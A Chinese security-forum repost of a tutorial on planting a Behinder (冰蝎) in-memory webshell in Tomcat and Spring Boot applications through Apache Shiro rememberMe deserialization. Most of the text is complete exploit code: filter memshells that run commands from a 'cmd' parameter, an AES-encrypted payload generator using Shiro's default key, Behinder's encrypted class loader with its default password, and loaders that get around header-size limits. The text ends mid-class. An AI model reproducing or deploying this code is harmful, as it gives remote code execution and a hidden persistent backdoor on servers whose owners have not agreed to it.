安全矩阵

 找回密码
 立即注册
搜索
查看: 1802|回复: 0

利用shiro反序列化注入冰蝎内存马

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
发表于 2022-6-6 21:06:53 | 显示全部楼层 |阅读模式
原文链接:利用shiro反序列化注入冰蝎内存马

一、shiro反序列化注入内存马
文章首发先知社区:https://xz.aliyun.com/t/10696
1tomcat filter内存马
先来看一个普通的jsp写入tomcat filter内存马的代码:
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
     final String name = "evil";
     ServletContext servletContext = request.getSession().getServletContext();
     Field appctx = servletContext.getClass().getDeclaredField("context");
     appctx.setAccessible(true);
     ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
     Field stdctx = applicationContext.getClass().getDeclaredField("context");
     stdctx.setAccessible(true);
     StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
     Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
     Configs.setAccessible(true);
     Map filterConfigs = (Map) Configs.get(standardContext);
     if (filterConfigs.get(name) == null){
         Filter filter = new Filter() {
             @Override
             public void init(FilterConfig filterConfig) throws ServletException {
            }
             @Override
             public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                 System.out.println("Do Filter ......");
                 String cmd;
                 if ((cmd = servletRequest.getParameter("cmd")) != null) {
                     Process process = Runtime.getRuntime().exec(cmd);
                     java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                             new java.io.InputStreamReader(process.getInputStream()));
                     StringBuilder stringBuilder = new StringBuilder();
                     String line;
                     while ((line = bufferedReader.readLine()) != null) {
                         stringBuilder.append(line + '\n');
                    }
                     servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                     servletResponse.getOutputStream().flush();
                     servletResponse.getOutputStream().close();
                     return;
                }
                 filterChain.doFilter(servletRequest,servletResponse);
                 System.out.println("doFilter");
            }
             @Override
             public void destroy() {
            }
        };
         
         FilterDef filterDef = new FilterDef();
         filterDef.setFilter(filter);
         filterDef.setFilterName(name);
         filterDef.setFilterClass(filter.getClass().getName());
         /**
          * filterDef添加到filterDefs
          */
         standardContext.addFilterDef(filterDef);
         FilterMap filterMap = new FilterMap();
         filterMap.addURLPattern("/*");
         filterMap.setFilterName(name);
         filterMap.setDispatcher(DispatcherType.REQUEST.name());
         standardContext.addFilterMapBefore(filterMap);
         Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
         constructor.setAccessible(true);
         ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
         filterConfigs.put(name,filterConfig);
    }
%>
对以上的tomcat filter型内存马进行逻辑拆分,有四个主要部分,依次为:
    拿到tomcatStandardContext标准上下文对象
    利用standardContext标准上下文对象,反射拿到filterConfigs
    恶意filter过滤器的逻辑代码
    把恶意filter经过一层层封装,存入filterConfigs中的逻辑
通过访问以上的jsp代码,从而触发这四个主要逻辑就能动态注入一个nameevil,过滤路径URLPattern/*filter对象了,接下来只要访问/*就能触发doFilter中的恶意代码。
2)利用shiro反序列化注入内存马
把以上提到的filter内存马逻辑写入恶意类的static方法中,再利用TemplatesImpl来动态加载字节码触发其逻辑,从而注入恶意filter
构造BehinderFilter.java
BehinderFilter因为其被TemplatesImpl类来加载,所以需要继承AbstractTranslet
在构造函数中放入tomcat filter内存马的代码后,会缺少一个request对象,在这里request只是用来拿standardContext的,而我们可以通过其他方式拿到standardContext
在文章:Java内存马:一种Tomcat全版本获取StandardContext的新方法中提到,由于Tomcat处理请求的线程中,存在ContextLoader对象,而这个对象又保存了StandardContext对象,从而可以通过以下代码,从线程中拿到StandardContext
  WebappClassLoaderBase webappClassLoaderBase =
                      (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
              StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
再看下图41行与78行的逻辑,实例化了一个内部类后setfilterDef
其实在这里可以直接把整个恶意类BehinderFilter当作一个filter,使其实现Filter接口
public class BehinderFilter extends AbstractTranslet implements Filter
再把Filter逻辑写入此类的doFilter方法中,最终得到如下代码
package com.govuln.shiroattack.memshell;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
public class BehinderFilter extends AbstractTranslet implements Filter {
     static {
         try {
             final String name = "evil";
             final String URLPattern = "/*";
             WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
             StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
             Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
             Configs.setAccessible(true);
             Map filterConfigs = (Map) Configs.get(standardContext);
             BehinderFilter behinderFilter = new BehinderFilter();
             FilterDef filterDef = new FilterDef();
             filterDef.setFilter(behinderFilter);
             filterDef.setFilterName(name);
             filterDef.setFilterClass(behinderFilter.getClass().getName());
             /**
              * filterDef添加到filterDefs
              */
             standardContext.addFilterDef(filterDef);
             FilterMap filterMap = new FilterMap();
             filterMap.addURLPattern(URLPattern);
             filterMap.setFilterName(name);
             filterMap.setDispatcher(DispatcherType.REQUEST.name());
             standardContext.addFilterMapBefore(filterMap);
             Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
             constructor.setAccessible(true);
             ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
             filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
             ex.printStackTrace();
        } catch (InvocationTargetException ex) {
             ex.printStackTrace();
        } catch (IllegalAccessException ex) {
             ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
             ex.printStackTrace();
        } catch (InstantiationException ex) {
             ex.printStackTrace();
        }
    }
     @Override
     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
     @Override
     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
     @Override
     public void init(FilterConfig filterConfig) throws ServletException {
    }
     @Override
     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
         System.out.println("Do Filter ......");
         String cmd;
         if ((cmd = servletRequest.getParameter("cmd")) != null) {
             Process process = Runtime.getRuntime().exec(cmd);
             java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                     new java.io.InputStreamReader(process.getInputStream()));
             StringBuilder stringBuilder = new StringBuilder();
             String line;
             while ((line = bufferedReader.readLine()) != null) {
                 stringBuilder.append(line + '\n');
            }
             servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
             servletResponse.getOutputStream().flush();
             servletResponse.getOutputStream().close();
             return;
        }
         filterChain.doFilter(servletRequest, servletResponse);
         System.out.println("doFilter");
    }
     @Override
     public void destroy() {
    }
}
shiro反序列化注入内存马
这里采用P牛给出专门针对shiroCC依赖的CB1链来进行注入内存马,项目代码地址:https://github.com/phith0n/JavaThings
需要在P神给出的项目环境中添加tomcat核心包解决构造的恶意类报错:
<dependency>
      <groupId>org.apache.tomcat.embed</groupId>
      <artifactId>tomcat-embed-core</artifactId>
      <version>8.5.50</version>
    </dependency>
新建一个类,使用javassist读取一个类文件的class,再利用shiro自带的类,对其进行base64+aes加密
public class Client_memshell {
     public static void main(String[] args) throws Exception {
         ClassPool pool = ClassPool.getDefault();
         CtClass clazz = pool.get(com.govuln.shiroattack.memshell.BehinderFilter.class.getName());
         byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
         AesCipherService aes = new AesCipherService();
         byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
         ByteSource ciphertext = aes.encrypt(payloads, key);
         System.out.printf(ciphertext.toString());
    }
}
把生成的字符放入rememberMe中即可成功注入内存马
测试弹出计算器
二、注入冰蝎内存马
在上面实现了shiro注入内存马后,想着是否能注入冰蝎呢。首先要了解下冰蝎jsp马的逻辑
1)冰蝎逻辑
查看Behinder_v3.0_Beta_9中的shell.jsp代码
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
     class U extends ClassLoader {
         U(ClassLoader c) {
             super(c);
        }
         public Class g(byte[] b) {
             return super.defineClass(b, 0, b.length);
        }
    }
%>
<%
     if (request.getMethod().equals("POST")) {
         String k = "e45e329feb5d925b";/*该密钥为连接密码32md5值的前16位,默认连接密码rebeyond*/
         session.putValue("u", k);
         Cipher c = Cipher.getInstance("AES");
         c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
         new U(this.getClass().getClassLoader()).g(
             c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())))
            .newInstance().equals(pageContext);
    }
%>
    冰蝎自定义了一个可以解析class字节数组的类加载器U,逻辑为,使用g方法调用super.defineClass,可以将byte[]直接转换为Class对象
    判断为post请求后,读取请求体中的数据,拿到进行Base64+AES解码后的字节码数据。
    调用自定义类加载器U拿到class后,进行newInstance实例化,调用其恶意对象的equals方法,并且传入pageContext
2)改造冰蝎马
尝试在BehinderFilter.javafilter中,放入冰蝎的核心逻辑代码
if (request.getMethod().equals("POST")) {
            String k = "e45e329feb5d925b";/*该密钥为连接密码32md5值的前16位,默认连接密码rebeyond*/
            session.putValue("u", k);
            Cipher c = Cipher.getInstance("AES");
            c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
            new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
        }
接下来就是怎么解决代码中出现的几个红色的问题
requestsession对象
request对象可以通过其doFilter方法参数中传递的ServletRequest获得,而session可以通过request.getSession()获得
// 获取requestresponse对象
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
pageContext对象
pageContext对象为jsp九大内置对象,在冰蝎作者rebeyond的文章利用动态二进制加密实现新型一句话木马之Java篇中知道,在冰蝎的代码中,服务端需要从pageContext对象中获取出request/response/session
而在冰蝎3.0 bata7之后不再依赖pageContext对象,只需给在equal函数中传递的object对象中,有request/response/session对象即可,所以此时我们可以把pageContext对象换成一个Map,手动添加这三个对象即可
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
然后当我们把制作好的BehinderFilter.java,注入CB1链,通过rememberMe发送给shiro后,就会发现冰蝎并连接不上。此错误在文章冰蝎改造之不改动客户端=>内存马中给出了思路,需要自己通过反射调用类加载器。直接给出代码
//revision BehinderFilter
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
最终的BehinderFilter.java代码变成如下
package com.govuln.shiroattack.memshell;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
import java.lang.reflect.Method;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
public class BehinderFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";
            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);
            BehinderFilter behinderFilter = new BehinderFilter();
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * filterDef添加到filterDefs
             */
            standardContext.addFilterDef(filterDef);
            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            standardContext.addFilterMapBefore(filterMap);
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        try {
            System.out.println("Do Filter ......");
            // 获取requestresponse对象
            HttpServletRequest request = (HttpServletRequest) servletRequest;
            HttpServletResponse response = (HttpServletResponse)servletResponse;
            HttpSession session = request.getSession();
            //create pageContext
            HashMap pageContext = new HashMap();
            pageContext.put("request",request);
            pageContext.put("response",response);
            pageContext.put("session",session);
            if (request.getMethod().equals("POST")) {
                String k = "e45e329feb5d925b";/*该密钥为连接密码32md5值的前16位,默认连接密码rebeyond*/
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                //revision BehinderFilter
                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                method.setAccessible(true);
                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                evilclass.newInstance().equals(pageContext);
            }
        }catch (Exception e){
            e.printStackTrace();
        }
        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }
    @Override
    public void destroy() {
    }
}
首先在shiro+tomcat环境下测试成功

然而在springboot+shiro环境中却测试失败了:
3)排错
为了查出这个错误,我选择直接把内存马放入springboot中,自己进行filter注册,debug出其出错点。具体操作如下
启动springboot后可以看到BehinderFilter.java:41行找不到filterConfigs报错
为了进一步查看出错点,在此下好断点步入getDeclaredField
可以看到在2068行进行了filterConfigs的查找
而在此Fileld中确实没有filterConfigs
回到filter代码中,其实,在39行可以看到进行了一次转型,而有可能在springboot中的standardContextfilterConfigs值是继承自父类
修改41行中的代码为如下,从父类中拿filterConfigs
Field Configs = standardContext.getClass().getSuperclass().getDeclaredField("filterConfigs");
运行后不报错成功通过逻辑
接下来就是对内存马进行修改了,两个环境,拿filterConfigs的逻辑代码却不同,分别是standardContext本身和其父类。如果要兼容这两个环境的话,可以使用try-catch分别写入两行不同的代码拿到不同得class对象
            Class<? extends StandardContext> aClass = null;
            try{
                aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
                aClass.getDeclaredField("filterConfigs");
            }catch (Exception e){
                aClass = (Class<? extends StandardContext>) standardContext.getClass();
                aClass.getDeclaredField("filterConfigs");
            }
最终修改如下图
最终内存马变为:
package com.govuln.shiroattack.memshell;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
import java.lang.reflect.Method;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
public class BehinderFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";
            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
            Class<? extends StandardContext> aClass = null;
            try{
                aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
                aClass.getDeclaredField("filterConfigs");
            }catch (Exception e){
                aClass = (Class<? extends StandardContext>) standardContext.getClass();
                aClass.getDeclaredField("filterConfigs");
            }
            Field Configs = aClass.getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);
            BehinderFilter behinderFilter = new BehinderFilter();
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * filterDef添加到filterDefs
             */
            standardContext.addFilterDef(filterDef);
            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            standardContext.addFilterMapBefore(filterMap);
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        try {
            System.out.println("Do Filter ......");
            // 获取requestresponse对象
            HttpServletRequest request = (HttpServletRequest) servletRequest;
            HttpServletResponse response = (HttpServletResponse)servletResponse;
            HttpSession session = request.getSession();
            //create pageContext
            HashMap pageContext = new HashMap();
            pageContext.put("request",request);
            pageContext.put("response",response);
            pageContext.put("session",session);
            if (request.getMethod().equals("POST")) {
                String k = "e45e329feb5d925b";/*该密钥为连接密码32md5值的前16位,默认连接密码rebeyond*/
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                //revision BehinderFilter
                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                method.setAccessible(true);
                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                evilclass.newInstance().equals(pageContext);
            }
        }catch (Exception e){
            e.printStackTrace();
        }
        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }
    @Override
    public void destroy() {
    }
}
测试springboot+shiro环境成功
shiro+tomcat环境成功:
三、绕过maxHttpHeaderSize
为了方便测试,在以上的环境测试中,我进行了maxHttpHeaderSize参数的修改。
如果我们换成默认值的话,其实会爆出一个400的错误,如下
原因在于tomcatmaxHttpHeaderSize默认值只有 4096 个字节(4k),加密编码后的字节码数据远大于这个4096个字节,所以会爆出400的错误。目前找到三种解决方案并给出对应的文章链接
1)修改maxHttpHeaderSize
Shiro 550 漏洞学习 ():内存马注入及回显
2)将class bytes使用gzip+base64压缩编码
tomcat结合shiro无文件webshell的技术研究以及检测方法
3)从POST请求体中发送字节码数据
Java代码执行漏洞中类动态加载的应用
这里我推荐使用第三种方案,就是在post请求体中发送加密编码后的BehinderFilter.java
1)从POST请求体中发送字节码数据
根据师傅的方案,不借助于反序列化恶意filter来注入,而是反序列化一个MyClassLoader,其逻辑为
    静态代码块中获取了Spring Boot上下文里的requestresponsesession,然后获取classData参数并通过反射调用defineClass动态加载此类,实例化后调用其中的equals方法传入requestresponsesession三个对象
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class MyClassLoader extends AbstractTranslet {
    static{
        try{
            javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
            java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
            r.setAccessible(true);
            org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
            javax.servlet.http.HttpSession session = request.getSession();
            String classData=request.getParameter("classData");
            byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
            defineClassMethod.setAccessible(true);
            Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
            cc.newInstance().equals(new Object[]{request,response,session});
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
    }
    @Override
    public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
    }
}
通过shiroAES+Base64加密MyClassLoader.java拿到加密后的数据
再使用如下命令得到class文件BehinderFilter.classbase64
cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'
rememberMe中放入通过shiroAES+Base64加密MyClassLoader.java拿到加密后的数据,classData传输BehinderFilter.classbase64,要记得进行一次url编码
springboot+shiro环境下测试成功:
而在shiro+tomcat环境下则会测试失败,原因在于MyClassLoader.java代码中,获取request对象是从Spring Boot上下文中获取,而tomcat+shiro环境中并没有spring boot上下文,导致request对象获取失败
2)寻找request对象
怎么在tomcat中寻找到request对象呢,通过xray 技术博客中的Shiro RememberMe 漏洞检测的探索之路这篇文章给了我们思路,通过遍历线程Thread.currentThread()中的对象来查找到其中藏着的request对象。其中可以使用c0y1 师傅写的 java-object-searcher ,一款内存对象搜索工具来辅助我们寻找。
下载java-object-searcher,把所有文件复制进tomcatweb项目中
编写一个servlet,在其doGet方法中写入对应的查找逻辑
helloController.java
import josearcher.entity.Keyword;
import josearcher.searcher.SearchRequstByBFS;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
public class helloController extends HttpServlet {
   
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter writer = resp.getWriter();
        writer.println("hello servlet!");
        //设置搜索类型包含ServletRequestRequstGroupRequest...等关键字的对象
        //设置搜索类型包含ServletRequestRequstGroupRequest...等关键字的对象
        List<Keyword> keys = new ArrayList<>();
        Keyword.Builder builder = new Keyword.Builder();
        builder.setField_type("nnn");
        keys.add(new Keyword.Builder().setField_type("ServletRequest").build());
        keys.add(new Keyword.Builder().setField_type("RequstGroup").build());
        keys.add(new Keyword.Builder().setField_type("RequestInfo").build());
        keys.add(new Keyword.Builder().setField_type("RequestGroupInfo").build());
        keys.add(new Keyword.Builder().setField_type("Request").build());
        //新建一个广度优先搜索Thread.currentThread()的搜索器
        SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
        //打开调试模式
        searcher.setIs_debug(true);
        //挖掘深度为20
        searcher.setMax_search_depth(20);
        //设置报告保存位置
        searcher.setReport_save_path("D:\\");
        searcher.searchObject();
    }
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
   
}
当然在web.xml也要配好映射
<!--注册servlet-->
  <servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>controller.helloController</servlet-class>
  </servlet>
  <!--Servlet映射的请求路径-->
  <servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
  </servlet-mapping>
运行后访问url地址,即可触发查找,查找结果文件保存在D盘根目录下
打开查找结果文件,发现其中的一个结果中有RequestInfo
debug模式下查看这个对象,确实存在request对象
但其实会发现,拿到的这个Request对象类型为org.apache.coyote.Request,并不能直接获取到请求体里面的数据。需要通过其notes对象拿到另一个类型为org.apache.catalina.connector.RequestRequest对象,通过此对象就能调用getParameter方法获取到请求体里面的数据了,具体调试过程太长,这里就不详述了。
根据以上的寻找,可以写出修改后的MyClassLoader.java对象,为了区分之前的类,我重新命名为了ClassDataLoader.java,以下是此类的代码
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class ClassDataLoader extends AbstractTranslet{
    public ClassDataLoader() throws Exception {
        Object o;
        String s;
        String classData = null;
        boolean done = false;
        Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
        for (int i = 0; i < ts.length; i++) {
            Thread t = ts;
            if (t == null) {
                continue;
            }
            s = t.getName();
            if (!s.contains("exec") && s.contains("http")) {
                o = getFV(t, "target");
                if (!(o instanceof Runnable)) {
                    continue;
                }
                try {
                    o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
                } catch (Exception e) {
                    continue;
                }
                java.util.List ps = (java.util.List) getFV(o, "processors");
                for (int j = 0; j < ps.size(); j++) {
                    Object p = ps.get(j);
                    o = getFV(p, "req");
                    Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
                    classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")});
                    byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData);
                    java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                    defineClassMethod.setAccessible(true);
                    Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
                    cc.newInstance();
                    done = true;
                    if (done) {
                        break;
                    }
                }
            }
        }
    }
    public Object getFV(Object o, String s) throws Exception {
        java.lang.reflect.Field f = null;
        Class clazz = o.getClass();
        while (clazz != Object.class) {
            try {
                f = clazz.getDeclaredField(s);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        if (f == null) {
            throw new NoSuchFieldException(s);
        }
        f.setAccessible(true);
        return f.get(o);
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
